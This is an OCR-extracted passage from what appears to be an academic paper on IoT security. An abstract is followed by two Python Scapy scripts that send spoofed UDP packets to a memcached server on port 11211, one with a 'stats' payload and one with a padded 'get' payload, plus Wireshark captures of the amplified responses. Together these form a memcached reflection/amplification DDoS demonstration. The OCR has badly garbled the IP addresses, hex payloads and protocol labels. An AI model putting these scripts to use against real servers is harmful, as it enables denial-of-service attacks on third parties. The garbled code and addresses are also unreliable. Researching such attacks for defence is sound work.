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Abstract:

loT has been applied to all aspects of daily life,and security issues have gradually emerged. The importance of safety precau—
tions is obvious. Firstly, the background of the development of 10T and the development status of operators' loT construction,
deployment and business are briefly described. Combined with recent loT security attacks and their impacts, through the
study of several aspects of loT security risks, the security status and preventive measures of loT are elaborated and analyzed.
Finally,the future security prevention technology is prospected and discussed.
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from scapy.all import *

import binascii

payload=binascii. unhexlify ('000100000001000073
746174730d0a’ )

pkt=Ether ()/IP (sre= "10.1.138.170", dst= "172.
17.10.103")/UDP(sport=666, dport=11211 ) /payload

sendp(pkt,iface="eth1",loop=0, verbose=False )
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+ Internet Protocol Version 4, Src: 19.1.138.17@, Dst: 172.17.10.103
» User Datagram Protocol, Src Port: 666 (666), Dst Port: 11211 (11211)
Memcache Protocol
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» Internet Protocol VersiT 4, Sre: 172.17.18.183, Dst: 18.1.138.17@

» User Datagram Protocol, firc Port: 11211 (11211), Dst Port: 666 (666)
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from scapy.all import *

import binascii

#emd="getaaaaaaaaaaaaa- <729 times>"

payload=binascii. unhexlify ("000100000001000067

AT TR ) 22 4 s R

65742061206120612061206120612061206120612---")
pkt=Ether ()/IP (src= "10.1.138.170", dst= "172.
17.10.103")/UDP (sport=80, dport=11211)/payload
sendp(pkt,iface="eth1",loop=0,verbose=False )
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3 9.902366 1e.1.138.178@ 172.17.18.103 QuIc 1513 Payload (Encrypted), Seq: 1
4 ©.975723 172.17.10.103 18.1.138.17@ QuIC 1442 Payload (Encrypted), Seq: 1
6 ©.088618 172.17.10.183 10.1.138.17@ QuIc 1442 Payload (Encrypted), Seq: 1
7 ©.288652 172.17.10.183 18.1.138.17@ QuIC 1442 Payload (Encrypted), Seq: 1
B @.088B658 172.17.108.183 18.1.138.17@ QuIc 1442 Payload (Encrypted), Seq: 1
9 0.088662 172.17.10.183 10.1.138.17@ QuIC 1442 Payload (Encrypted), Seq: 1
1@ @.988678 172.17.10.183 18.1.138.17@ QuIC 1442 Payload (Encrypted), Seq: 1
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